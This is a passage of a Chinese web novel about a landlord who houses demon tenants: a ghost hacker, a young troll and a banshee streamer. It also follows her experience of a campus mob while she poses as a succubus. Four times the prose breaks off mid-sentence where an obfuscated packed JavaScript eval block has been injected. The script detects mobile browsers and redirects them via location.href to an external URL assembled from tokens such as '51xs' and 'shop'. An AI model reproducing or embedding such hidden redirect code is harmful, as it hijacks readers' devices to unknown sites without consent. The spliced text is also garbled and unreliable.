这种行动力也让人感到惊讶。 “好吧，如果不耽误你赶路的话，或许我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924285|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以趁这个时候填写一下租房信息。” 潜入调查很快就主动发来了相关资料。 一个208岁的男性幽灵，名字是维克多，自由职业者。 住房需求：一个没有门窗的房间，值得信赖的网络环境。 妮娜刚刚向恶魔城发布完改造指令，101室临街的那扇门就被敲响了。 她打开门，看到一条双腿近乎透明，因此看上去像是飘在半空的影子。 “你好，我是维克多。” “我还以为你可以直接穿过墙壁呢。”妮娜将幽灵请进了房间。 维克多从门口张望了一下屋内的布局，这才飘了进来：“我当然可以，但我一直恪守礼仪规范。” 他的样子看上去像是一个年纪轻轻就死于意外的高中生，但说话的口吻则像一个活在上个世纪的老绅士——考虑到他的年龄，这并不奇怪。 “听上去很令人放心。”妮娜说着，注意到维克多背上还背着一个巨大的背包，那个背包看起来不光很大，而且还很沉，看上去随时都能把幽灵给拽到地上，“那些是你的行李？” “也是我的家当。”维克多说。 “我觉得里面似乎藏着一台台式电脑……”妮娜随口说道。 “你还真是敏锐。我当然得有一台电脑，否则我用什么‘潜入调查’？” 妮娜想说“你的身体”，但最后决定作罢，“我把你的房间安排在我隔壁，你会介意吗？” “你不介意隔壁住着一个精通穿墙术的家伙就行。” “你可以去自己的房间看看，反正没有门，你可以直接从这里的墙壁过去。里面除了照明和插座之外，暂时什么都没有，如果你有需求的话，趁现在可以提，我会尽快安排。” 维克多没有说话，直接背着他的电脑穿进了墙壁，过了一会儿，他又背着电脑穿了回来。 “有什么不满意的地方吗？” “我以前住的地方，房东最多只能把门窗全部封起来，你是怎么做到让一个房间真的没有一扇窗和一扇门的？我想你应该不会提前预留一个专为幽灵提供的房间。” 维克多确实提出了一个听起来有些变态的要求，“我是一个有求必应的房东，至于我是怎么做到的——这个世界上总是有很多难以解释的现象，你记得这点就好了。”妮娜说。 “也许我可以通过调查找到答案，我很擅长这种事。”维克多再次穿过墙壁，去了他自己的房间，103室房间。当他又回到101室的时候，背上已经没有那个巨大行李了，想必这是他下定决心住进这里的信号。 “从下次起，你想进到这个房间，得先敲门好吗？”妮娜在被他的突然再现吓到之后，忍不住提出要求，“你不是总能‘恪守礼仪’的吗？” “没错。”维克多说，“有门的时候我通常都会敲的，但你说过，我可以利用这面墙。” “仅限之前。现在我要在这面墙加上禁止通行的魔法。”妮娜说，“好了，说说你还有什么事吧。” 27. 生存守则 继台式电脑之后，维克多又展示了自己的另一样诞生于现代科技的电子设备。 他摸出一部智能手机：“你会愿意在通讯录里给我留下一席之地吗？我想这样今后联络的时候会方便一点。” 从尺寸轮廓和摄像头的形状可以判断，那是前不久刚刚发售的新型号，而且售价接近五位数，在网上被戏称为人傻钱多机。 这个幽灵，似乎很有钱…… 妮娜从桌面上拿起自己那部用了好几年的手机，想到应该为乌鸦和文森特也各自准备一部手机，并将所有人的联络方式都收集起来。 “好了。” 交换完联系方式，幽灵转过身，打算最后一次穿墙而过。 在碰到墙壁的瞬间，他的脸色变了变，迅速回头看了一眼正在拨弄手机的房东。 这面墙已经无法自由穿越了。 她从刚才起就一直坐在书桌前的椅子上，在此期间也没有出现过任何异常举动，那么出现在墙面上的禁行魔法是什么时候被刻印上去的？ “怎么了？”妮娜抬头看了一眼驻足在墙壁前面的维克多。 “没什么……”幽灵整理了一下胸前那枚并不存在的领结，转了个身，从101室的房门离开了。 傍晚的时候，从外面逛街回来的魅魔情侣带回了一件意外的礼物。 “这是在我们以前工作的地方附近流浪的小孩，我想斯特尔女士或许会愿意给他提供一个住处，就把他带回来了。” 一个小巨魔。 倒不是说巨魔中有小巨魔这一分支，而是说这是一个年龄尚小的巨魔，因此很难判断他究竟属于哪个分支。 巨魔是一支肌肉比例极其惊人的长寿种，就像越结实的木头长得越慢一样，他们的生长速度也很慢，在出生后三十年左右才会展现出初步的分化特征，从而确定他们是矮巨魔、大巨魔还是天空巨魔。 妮娜在罗德里斯基地遇到的普特就属于矮巨魔。顾名思义，是巨魔中体型最矮小的一支，即便如此，他们有记录的最低身高也能达到六尺。 在三十岁时身高超过两米的巨魔则会被认为是大巨魔，他们通常最终能长到两米四。 巨魔中体型最大的是天空巨魔。他们之所以会被冠以天空的名称，不是因为他们会飞，而是因为他们成年的体型非常高大。 完全成熟后能达到三米的裸高，四十岁前后额头会生出角，角长通常在二十公分。也就是说，成年的天空巨魔能达到三米二左右的惊人高度。 这样体型的生物出现在人类社会中无疑是骇人的。所以巨魔是被迫使用抑制剂最多的种族，这种药剂能将他们的成年体型压制在适合生活在人类附近的尺寸之内。这也导致巨魔的分化特性几乎已经被人类给消灭了。 大多数巨魔刚从树上出生就会被收集起来，送去注射药物，大约到十岁左右，就能去矿场和工地干体力活。 当工程机械和魔法生产还在起步阶段时，他们的存在对提升基建速度功不可没。 随着生产力的进步，很多行业的廉价劳动力已经被机器取代，矿场和工地对巨魔的需求在降低，多余的新生巨魔在接受完数个“疗程”的抑制剂注射后，就会被随意抛弃。 大多数被抛弃的巨魔会被一些个体营业者或是工厂捡走，充当免费劳动力，这种行为是完全合法的。 剩下一些总是能躲过“狩猎”的巨魔们则一直在城市中自生自灭——这些家伙往往有着不符合其种族特性的机敏，无师自通了一些逃跑和活命的技巧。 被薇薇安带回来的这只小巨魔理论上就属于后者。 他有着能够表现其年龄的皱巴巴的青色皮肤——随着时间流逝，它们会慢慢变成普特那样的紫色——一头杂乱的棕色头发，一双爬行动物般的眼睛。 他看上去就像是一只没有尾巴、具备人类四肢且能够直立行走的大蜥蜴。 “我知道他或许长得不那么招人喜欢，但看久了也会发现可爱之处的。”薇薇安委婉地说着，她希望给这个四处流浪的小家伙找一个安全的住处，又担心他会被房东赶出去，因为巨魔在人类社会中遭受的歧视尤其严重。 在视魔族低人一等的大前提下，人类对那些姑且符合他们审美的异族生物相对来说会宽容一点，比如魅魔和血族。对巫妖、兽人等的态度也会因为一些文化作品而表现得相对和善。 但巨魔遭受的往往就是单纯的嫌恶。 妮娜知道薇薇安在担心什么，而且她小时候确实有过歧视巨魔的经历，但现在她的心境已经不一样了。 “我怎么会把已经进了这扇门的，对一个安全的住处有所需求的客人赶走呢？何况他还是个孩子。” 薇薇安松了一口气，拍着小巨魔的肩膀说道：“艾力克，你可以在这里住下了。” 拉弗尔注意到一楼出现了一个奇怪的房间：“我记得之前这里是有一扇门的，对吧？什么时候不见了？” “当它成为一位幽灵的住处时。”妮娜说，“艾力克是今天入住的第二位房客。先跟我来做一个登记。” 艾力克一点也不怕生，很自然地走上前来拉住了她的手。 小巨魔的皮肤还远远没有达到成年后的那种硬度，摸起来有点像经过处理的牛皮。 “我还担心这孩子不喜欢接触人类呢。”薇薇安有些意外。 维克多这时候像一阵风似的穿过房间的墙壁，出现在走廊上，“我听到外头有点吵——噢，一个小丑八怪。”他指着艾力克说道。不过他在说这话的时候并没有什么恶意。 “还有——薇薇安和拉弗尔！我有空的时候经常看你们的直播。” “这就是今天的另一位房客？”拉弗尔问。 这时102的房门也被打开了，乌鸦沉着一张脸望着站在走廊上的众人。 “我是不是该让所有人聚一聚，互相认识一下，毕竟是邻居。”妮娜还没有想好要怎么同乌鸦和好，万幸现在周围人很多，气氛不会那么尴尬。 而她话音刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924286|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落，文森特就脚步匆匆地从楼梯的尽头出现，“怎么了，有新朋友吗？” 妮娜拉着艾力克回到房间，没有关门，任外面那些吵吵闹闹的声音飘进来。 “巨魔艾力克，”她打开租客信息，在里面记录道，“今年多大了？” “十一。”艾力克的声音和没有发育的人类小男孩的声音差不多，与其粗糙的外表反差强烈。 “你喜欢怎样的房间？”还是惯例的提问。 艾力克似乎不知该怎么回答，他环视了一下周围，说：“我觉得这样的房间就很好。”他脑袋里并没有多少对一个私人卧室究竟该是怎样的概念。 妮娜想了想了：“也好，一个适合学习的房间。” 对魔族来说，在人类社会活下来不过是第一步。 在人类社会立足，被这个社会接受，得到认可乃至尊敬，这是努力的方向。 要做到以上几点，对社会规则、社会科学及自然科学的学习必不可少。一个没有受过教育的巨魔，即使社会在规则上容许他成为一个坐在办公室里的白领，他也不可能竞争得过一个大学毕业的人类。 “雇佣童工是违法的，所以我不能让你去赚钱，既然如此，你就在这里好好学习吧，这样等你长大以后，或许就不止成为免费劳工这一条路可以选择了。” 艾力克似懂非懂地点了点头，“但是大多数和我一样的巨魔，在成年之前就会被政府强制带去劳动，那也是违法吗？” 这个提问让妮娜哑口无言，她可不敢说贵族院的坏话，但若是承认贵族院的行为没有错误，就意味着错的是她的逻辑，而她也不愿意在一个如此年幼的小魔物面前明说“你不在法律的保护范围之内”，尽管他可能早就已经心知肚明。 “那是另一回事。但我希望当你长大的时候，世界已经发生了好的变化。”她说，“你喜欢住一楼还是二楼？” “我想住得离你近一点！”小巨魔坦率地对新房东表示好感。 他觉得眼前这个人类的身上有一种让人感到十分亲切的安全感，好像无论发生什么，她都会无条件保护自己。这是一种毫无道理可言的直觉。 之所以说毫无道理，是因为艾力克清楚这是一个人类，而不管一个人类性格如何宽厚，她都不可能毫无保留地爱护一个异族。 “那就住在104吧。”妮娜看了一眼房间的入住情况。距离101室最近的102和103分别被乌鸦和维克多占领，“如果你再早来几个钟头，就能住在我隔壁了。” 她带着艾力克去确认房间的时候，原本拥堵在走廊上的住人们已经转移到了客厅，各自在餐桌边找了一个位置。 薇薇安说起直播间的事情，维克多则当众发表了那份调查结果，认为是那个名叫莉莉的主播没有管理好自己的粉丝，而拉弗尔闻言在手机上找到了莉莉在乐飞的主页。 在妮娜推开104室的房门时，她听到拉弗尔说了一句让人在意的话：“也许，莉莉真的是一个魅魔呢？” 28. 次生种族 “我想你们应该知道一个真的魅魔想在乐飞开直播有多么困难，不是每个魔族都有你们的运气。设备、场地和实名认证都是难关。”维克多说，“如果她是货真价实的魅魔，她应该在遭受质疑的第一时间证明自己。她现在保持沉默，只是既没有办法提供证明，又不想放弃数量飞涨的关注者罢了。” 艾力克大概觉察到房东的心不在焉，转动着爬行动物般的眼睛好奇地打量着她。 正好这时候什么东西嗡嗡一响，妮娜掏出手机：“等等，让我看一下这条新消息。” 是从乐飞的后台发来的，来自莉莉的回复：“难道你觉得举报你直播间的人是我？” 拉弗尔的声音继续从客厅传来：“其实不是所有‘魅魔’都可以自如地切换性别。” 妮娜一下子将脑袋转了过去：“你说什么？” 接下去的时间，本来应该是所有房客们聚在一起增进情感的联谊会，结果却顺理成章地变成了一场关于魅魔特性的知识拓展讲座。 正如巫妖一族分为大小巫妖及深渊巫妖，还有巨魔一族分为矮巨魔、大巨魔和天空巨魔一样，魅魔也有类似的亚种。 “我知道，魅魔一族的女王是极乐鸟。”妮娜搬出了不久前在《勇者笔记》里读到过的内容。 “第一次见到你的时候，你对我们这一种族还没有了解到这个地步。”薇薇安说。 “大多数新魔族都已经不了解自己分支之外的事情，更不用说人类了。”拉弗尔说。 对此，乌鸦看上去欲言又止。 而拉弗尔继续说了下去：“魔界的十位大贵族中，掌管魅魔一族的正是极乐鸟。准确地说，极乐鸟才是这个种族正式的名称，我们魅魔只不过是一支亚种罢了。不过由于魅魔这一种族数量庞大，而且本身还存在外延，这才让我们成了这一分支的主流。” “你说的‘外延’是指？” 妮娜想起《勇者笔记》在极乐鸟这一支中还提到了羽人，不过拉弗尔却说出了另外两个名词。 “女妖和夜骑，从名字上很难看出来，其实他们是出生时就被固定了性别的魅魔。” 薇薇安补充道：“女妖是指只能维持女性特征的魅魔，而夜骑则是相反，只能维持男性特征。” “也许莉莉就是一位女妖。”拉弗尔说。 维克多挤了一下眉毛：“这虽然能够解释她为什么始终不愿意承认自己是一个人类，但不能说明她从哪里弄来了直播设备，又是如何通过平台认证的。” 妮娜看了他一眼：“我以为你不会提出这样的质疑。” “女士——”维克多回看过来，“如果你有两百年的人生经历，那么即使你是一个一无所长、被排挤在社会边缘的人物，也多多少少能积攒一些财富。尤其是两百年的时间足够你亲身体验并抓住一些经济循环的规律了，一个大的经济周期一般有——” “这就涉及到另一个知识点了。”薇薇安及时将话题引了回去，“那些次生种族舍弃了置换性别的能力，得到了真正意义的长寿和青春，他们的平均寿命可以达到两百年，而且不会衰老。” “假如——我是说假如，莉莉已经活了一百年以上，那么按照你的说法，她能够攒下买一部通讯设备的钱，是不是就合理多了？”拉弗尔说。 维克多被说服了，他耸了耸肩：“如果她真的是一位活了很久的女妖的话。” 文森特没有忘记在讨论中展现一下存在感，他竖起一团黑雾的手指：“——那么我们就可以出第二期关于魅魔的科普视频了！” 妮娜用手指敲了一下桌面：“我想试着联系这位莉莉主播，和她谈谈合作的事，这样就能一举解决我们双方的麻烦。” “第一次全体会议”结束，薇薇安和拉弗尔兴致勃勃地开始撰写新一期科普视频的文稿，文森特显得有些心痒难耐，提议之后也要补一期小巫妖和深渊巫妖的内容，却被乌鸦反应激烈地驳回了。 文森特当然感到十分委屈，但妮娜知道乌鸦这么做的理由。 涉及魔族的事情本身就是微妙的，更何况他们还把这些事情放到了台面上，放到了有贵族院参与的公开活动中，他们不能在实力允许之前做一些触碰禁区的事情。 巫妖，尤其是深渊巫妖的话题很可能就是其中一个。 “请和我们当面聊聊吧。” 妮娜不确定莉莉会不会接受这个唐突的邀请。 她更不会想到这行经由网路传递的文字携带着无法抗拒的指令信号。 她只觉得对方的允诺比她想象中来得还要快，语气也比想象中要缓和：“可以，我该直接去老城区1402号找你吗？” 莉莉出人意料地是一个行动派——和维克多一样——她就住在王都，而且没有工作预定，所以可以立刻赴约。 妮娜正在思考是否应该、又要如何劝说这位可能是女妖的女士入驻罗德里斯公寓时，临街的大门就被敲响了。 当她见到莉莉本人的时候，她发现这个姑娘比在直播间看到的还要漂亮，那些夸张的滤镜反而削弱了她原生的美貌。 妮娜毫不掩饰地表达了对她外表的欣赏，而莉莉表现得有些紧张，她在见到公寓主人后的第一反应是把自己的宽边帽檐又往下压了压。 “你是一个人类。”警惕的声音从帽檐下传来，“薇薇安和拉弗尔呢？” 两位早就等候在客厅里的魅魔立刻一左一右地从妮娜身后冒了出来。 “我想我没猜错，你真的是一个女妖。” “次生种很少见，对于我们这些不喜欢变换性别的魅魔来说，女妖和夜骑实在是让人羡慕的物种。” 莉莉终于又抬起了帽檐，露出了那张精致到缺乏真实感的脸，有些生气地说道：“所以你们就用那种方式来打击我吗？”她的眉毛在皱起的时候形状依然优美。 妮娜不希望在自家门口发生什么争执，她好声好气地将莉莉请进了家门：“有什么话可以坐下来好好说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924287|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们追求的是合作共赢，不是零和博弈。” 女妖的气焰陡然弱了下去，她小心翼翼地跨过门口的台阶，在脱鞋处换上为她准备好的拖鞋，然后扯下了那顶宽檐帽。一头海浪般的深蓝色头发立刻从她的头顶倾泻下来，那景象非常抓人眼球。 “噢，拉弗尔……”薇薇安小声地惊叹道，“我想她身上一定有很多值得我们学习的地方。” 莉莉的警惕心没有维持太久，尤其是在见到公寓内部的活气景象之后。 这可能暗示了她也具备着魅魔天生的社交属性。 薇薇安向她说明了通过联合作品来回应目前针对她的那些口诛笔伐的计划，这事实上对莉莉来说求之不得。 她没办法单独出面去向那些看热闹的观众解释她和真正魅魔的区别，一是因为在这个时间点上，任何解释都只会像是掩饰，观众一定会认为她无法证明自己是一只魅魔，就企图通过一些捏造的概念来为自己开脱；二则是因为没有一个具备公信力的平台能让他们去确认关于“女妖”的事实，这只会印证她的确在进行捏造。 “我相信在看到新一期的视频之后，那位‘夜厅之王’也不会对我们抱有这么大的恶意了。” 薇薇安和拉弗尔没有理解这句话的意思，但莉莉显然知道夜厅之王是什么，毕竟那是她自己设置的称号。 “我的关注者对你们做了什么吗？”她好奇地扬起眉毛，然后眨了一下眼睛，很快就想通了其中的关节，“你是说，是我的一位高级关注者举报了你们的直播间？” “他大概是想为你‘报仇’。”妮娜摊了一下手掌，“也算是情深义重，矢志不渝了。”她在手机上操作了一下，将那位夜厅之王的UID发给了莉莉。 “原来是他……” 每个主播总会记住那些打赏力度特别大的关注者，甚至会给他们一些特别待遇，至少莉莉是记得UID3291837的。但她接下来的话就难免令人感到意外了。 “其实最开始提议让我试着在网上进行直播的人就是他。” 比起妮娜的震惊，薇薇安和拉弗尔倒是很轻易地就接受了这个说法。 “就像斯特尔女士让我们尝试直播一样。” 但妮娜总觉得哪里怪怪的，“他……曾经是你的一位客人？”她试探着问道。 莉莉毫不避讳地承认了这一点。魅魔们，包括身为次生种的女妖，对这方面事情的道德感和人类截然不同。 “不过我们在一起的时候只是吃饭和说话。” “虽然不知道他究竟中意我哪一点，不过无论是哪一点都不奇怪，我对自己的外貌和身材很有自信，也钻研过和客人说话时的技巧。” “那时候我的处境并不好，他知道以后想要在生活上支援我，但他自己也只是一个普通的上班族罢了。既没有负担另一个人生活的能力，也不可能抛弃人类社会的教条和成见来供养一只女妖。” 蓝色头发的魔族女性絮絮说道。 29. 人类观察 “所以他就想到让你去做直播赚钱？他有从中获取利益吗？” “不，他以自己的名义给我办理了手机，注册了乐飞的账号，申请了直播的资格，教了我使用方法，在确认我开始挣钱之后，我们甚至就很少在线下见面了。” “也许这样的距离刚刚好，无论如何，即使是找魅魔取乐，和魔族厮混在一起终归是被视作不体面的，但在网络上就没有这种问题了。”薇薇安说。 妮娜想起当时在猎犬酒吧中萨利对魅魔们作陪的那个男人的鄙夷，认同地点了点头，但又好奇是怎样的人会不求回报地帮助一个魔族在社会立足。 在会面的最后，莉莉主动提出了想要入住罗德里斯公寓的事情。 这里聊胜于无的房租可以大幅减轻她的生活成本，能够和同类一起交流也能缓解一些在人类社会生存时感受到的压力，以及和魅魔情侣们可以开展一些合作直播的愿景也让她感到振奋不已。 年轻的房东对她表示了十二分的欢迎。 在登记年龄的时候，她得知这位女妖的年龄尚未过百，不过也已经有八十岁了，比文森特还要年长一些。 尽管有过心理准备，并且这个数字比在和房客们讨论时得出的猜想小了很多，但在知道实际答案的时候还是忍不住在心里暗叹了一声。 ——如果在八十岁的时候还能保持这种年轻的模样，谁会不羡慕呢？ 可是如果考虑到代价…… * 在与莉莉会面的第二天，妮娜回到了学校。 大学四年级的文科生不会经常呆在学校，但偶尔仍需出席课程或学术研讨会，以及参加一些校园活动。 妮娜在大一的时候加入了一个名为魔法部的社团，以弥补未能进入魔法学院的遗憾。 可惜这个社团成员稀少，活动贫瘠，既学不到与魔法相关的知识，也没有让她找到志同道合的朋友。如果不是某位新入部的成员在前不久联系上她，她差点就忘了自己还加入过一个社团。 “我们想搞一期活动，主题是‘如果走在身边的女大学生其实是一个魅魔的话，人们会有怎样的反应？’最近网络上关于魅魔的话题不是很火吗，我觉得做一个反应视频的话，应该会吸引不少流量，说不定社团会一下子就出名了呢！” 不愧是刚刚升学的大一新生，刚一入部就想搞出一个大动作。 这确实是一个会让人忍不住点进去看的题目。 妮娜在看到消息的时候甚至反思自己怎么就没想到这样新奇的点子。 “因为不确定视频的后续效果，担心以后会在校内遭受排挤，所以想到找即将毕业的学姐来当演员——反正马上就要离开校园了嘛。” 这个理由有点狡猾，想出这个点子的人显然只考虑到了自己，但看在这位新生如此直率地把这点小心思说了出来，加之身为魔法部大前辈的责任感——这很可能是她能为这个社团做的最后一件事了，妮娜爽快地答应参加拍摄。 时间就是今天，地点就是校园内。 活泼可爱的学妹是一位经验丰富的化妆师，除了大变活人级别的面部妆容，她还在演员的腹部描绘了精致的魅魔纹章，这是节目的重要“道具”。 妮娜看着镜子中那张焕然一新的脸，一时难以相信那就是自己。点到即止的烟熏妆和淑女气质的黑框眼镜让她看上去充满了矛盾和莫测。 是那种会使人产生好奇但又不敢轻易接近的感觉。 “准备就绪！”学妹满意地看着她。 接着，妮娜就要顶着这张仿佛不属于自己的脸，走在熟悉的校园中，让一阵风吹起自己宽松的衣摆，装作无意地故意露出腰腹部的纹章。 一名走在林荫道上的男性第一个注意到演员身上那个并不明显的特征，他的注视引起其女伴的不快，女伴向他发起质问。 男性指了指演员的腰部，从他的表情和口型可以猜到他说的话：“你看那个纹章，那人是个魅魔。” 于是女伴睁大了眼睛，直勾勾地盯着演员。 类似的对话像病毒一样在周围的区域散播，所有人都开始注意到这个假装若无其事、实则已经有些慌乱的可疑的家伙。 起初只是偷偷打量，然后变成交头接耳和指指点点，也不乏不愿多管闲事而直接快步离开的人。到这里为止，一切都还算正常。 就在这个时候，一个身材魁梧的男人——不确定是学生还是校职工，抑或是校外人员——突然抢步上前，一把拦住演员：“喂！你是魅魔吧！你怎么敢走进恩斯法内的大门的？你知道自己的行为玷污了这座神圣的知识殿堂吗？” 演员低下头，表现得无地自容。 现场出现了骚动，围观人群渐渐聚集，并泾渭不明地分成两派，一些人不想让大学校园变成骚乱现场，另一些人则开始大声指责，指责的对象不是大声说话的男人，而是被他恐吓的女性。 当参与批判的人数变得足够多，口头的指责演变成动手动脚。人们将身份暴露的“魅魔”围了起来，然后一点点缩小包围圈。 有些人表现出露骨的厌恶，有些人则混在人群中趁机揩油。 最后是校内安保队的出现才勉强制止了更严重事故的发生。 魔法部的成员掩护“魅魔”演员离开，众人皆是落荒而逃。 现在，妮娜·斯特尔形容凌乱、满脸通红地坐在社团活动室中，接受着社团成员们的安抚。 “没想到事情会发展到那种地步……我、我以为这里的学生应该会更文明一点的。”提出企划方案的学妹愧疚得几乎要哭出来。 妮娜整理了一下头发和衣服，拍了拍自己的脸颊，做了几个深呼吸，试图忘掉刚才梦靥般的可怕场面。 她的头发被抓了好几次，衣服也差点被扯坏，充满恶意的触摸让她感到恶心。如果不是安保队出现，她不敢想象接下去还会发生什么。 被人群包围和攻击的窒息感仍旧如影随形。 过去她只能依靠想象去理解魔族的困境，今天则是切身的体会。 其实在第一个上前的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924288|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人出现之前，一切都还是相当克制的。但一旦有人带头，对另一个种族的恶意便立刻被释放出来，并且迅速煽动了那些原本并不激进的人。 “我想……这段视频还是不要发了，”一名社团成员提议，“……我怕会对学姐造成二次伤害。” “嗯……”学妹红着眼，用力点点头。 妮娜沉默了一会儿，摇了摇头：“发吧，总不能白白受罪。反正没人会认出那是我的。” 虽然心里很不好受，但她没有一蹶不振。 这对她来说算是一个警示，一切都还任重道远。 在经历这场灾难性的“社会实验”之后，她还得赶赴达尔·达曼的办公室，就毕业相关的事宜进行一番友好磋商。 和社团成员们又聊了一会儿后，妮娜调整了一下心情，卸了妆，换上了原来那身干净的衣服，以一副与寻常无异的姿态来到教授面前。 因为乌瑟已经离开了学校，所以达尔·达曼对自己这个学生选择实践项目的事也表现出了一丁点儿的认可。 “比起一遍遍帮你修改学术垃圾，眼下的局面确实算是好的，至少最后能不能毕业都是你一个人的事，不需要我再多费脑筋了。” “正是如此。”妮娜殷勤地应道。 “好自为之。”达尔·达曼说。 “谨遵师命。”妮娜说。 总之这还算是一次相对流畅和愉快的交谈。教授难得的“宽厚”稍许扫除了一点她心里的阴霾。 * 直播间的警告牌已经进了申诉撤销的流程，在谈下和莉莉的合作项目之后，妮娜的顾虑一下子少了很多，她再次对事业前景充满信心。 网络上已经出现了很多对魔族，或者至少是魅魔表现出友好态度的声音，继续努力下去的话，总会对现实社会也多少产生一点印象的。 只要能继续保持之前的收益水平，项目顺利进阶第二轮评选应该没有问题。但之后恐怕就没这么简单了。 如果要顺利毕业，至少需要一个实践项目拿到市级及以上规格比赛的三等奖才行。过去几届创业大赛的前三等奖通常会总共设置二十个左右的名额：一等奖一名，二等奖三名，以及十几个三等奖。 考虑到今年有贵族院插手，三等奖的名额很可能被压缩至和二等奖一样的三名……也就是说，如果没能在第二轮赛程中获得七贵族的青睐，基本即可宣告比赛提前结束。 必须要拓展业务，要想办法弄到更多本金，如果能找到合拍的投资人…… 在从学校回家的路上，妮娜碰上了一个打扮奇怪的人，从头到脚全部遮掩得严严实实，几乎没有一丝暴露在外面的皮肤，天气已经变热了，但他还戴着手套，总之就是十分可疑。 更何况他还背着一个十分眼熟的大布包。 “……你不会是维克多吧？”妮娜加快了脚步，走到那人身边，装作随意地问道。 那人顿了一下，取下墨镜，露出一张带有透明度的脸：“这都被你认出来了，我的房东大人。” 30. 孤星闪耀 “真的是你。”妮娜伸手摸了摸他身上的外套，是具有实际触感的，“我听说幽灵有一个特性，他们会把身上的物件变得和他们一样半透明，这是个被动能力，不受他们的意志控制。你这是怎么做到的？” 维克多胸前摸出一块怀表，在妮娜面前展示了一下。 妮娜看到那不是一块普通的表，表盘上不是时间刻度，也没有指针，而是一个——魔法术式。 也就是说他能够做到衣物的实体化，实际上是借助了魔法媒介的力量。 “不要这么惊讶，这表盘底下还藏着更加了不起的回路呢。”维克多有些得意地说道。 “这东西肯定不便宜。”妮娜没机会学习相关的魔法知识，但直觉告诉她这肯定是一件高级魔法媒介——那种普通人类工薪族也供不起的东西，“你怎么搞到的？” “当然是找媒介商人定制的。他们中的大多数都拒绝和魔族做生意，但如果他们特别缺钱，而你刚好又给得足够多——” “我是说你怎么会有那么多钱？” 维克多露出理所当然的表情：“昨天我就说过了，只要活得足够久，就算是一个社会边缘人，也能攒下不少钱来。况且我是一个很有才能的幽灵，所以我总能挣到钱。” 他把手伸到背后，将布包的拉链打开一个小口，让妮娜能勉强看到里面的东西。 今天那里面装的不是电脑，而是很多……玻璃管。 妮娜惊讶地用手捂住了嘴，过了一会儿才发出一个细微的声音：“你从哪里弄来这些东西的？” 那是些价格绝对不菲的东西。而想让那些东西发挥作用，更不是光靠金钱就能做到的，还需要高超的魔法知识及特殊的权限。 最伟大的魔法介质，单价贵比黄金的，星屑。 “你又打算拿这些东西做什么？” 维克多既然让她看了这些东西，自然是不打算遮遮掩掩了，“你知道的，我在网络上从事一些信息情报方面的工作。” 妮娜想起在吸血鬼的书房里见过的电脑主机：“你拿它来隐匿上网的痕迹？到底是什么危险的工作？成本这么高，赚的也一定很多吧？” 她的话成功把维克多逗笑了：“听上去你好像很缺钱，而且为了赚钱还不会拒绝一些剑走偏锋的路子。” “……我可没想那么多。”妮娜和他拉近了一点距离，“不过既然你都那么说了，我倒是想听你分享一下赚钱的方法。” 维克多是一个在信息技术方面有着相当才能的幽灵。 在他“年轻”的时候，也就是距今大约一百八十年前，那是信息技术刚刚萌芽的时代，从那个时候开始，他就一直在追随这一技术的发展步伐，可以说计算机和信息技术的发展伴随了他的整个成长阶段——直到现在还没有停止。 “很多事情，像你这样的年轻女孩一定不知道——我是说如果你没有经历过那个时代，你就很难想象，在大约四十年前，人类和魔族之间的关系还没这么坏。”维克多说。 “我有所耳闻，但正如你所说的，很难想象。”妮娜说。 一般的历史课很少会提及那段时间的事，不过在经济史的课堂上倒是隐晦地提及过。 两百多年前和五十多年前，王国之内曾发生过两次大规模的“除魔运动”，龙族、幻灵和元素兽被视为对人类有重大威胁和危害的族类而遭到清剿。 但实际上，进入新世纪的初期，随着人类经济生活水平的稳步提高，以及那三个种族在人类视野中的彻底消失，社会上开始出现同情魔族的风气，那段时间也被称为人类与魔族关系的黄金时代。 在黄金时代时，魔族被允许进入学校，也有更多合法获得收入的途径。 “我甚至在那个时候念了大学。”维克多说，“说实话，和我同级的学生们真是不走运，要面对一个在知识层面多比他们积累了几十年的家伙。我在所有专业课上都拿了最优的成绩。” “听起来实在是够魔幻的。在我生活的一整个时代里，魔族的境况一直都很糟糕。” 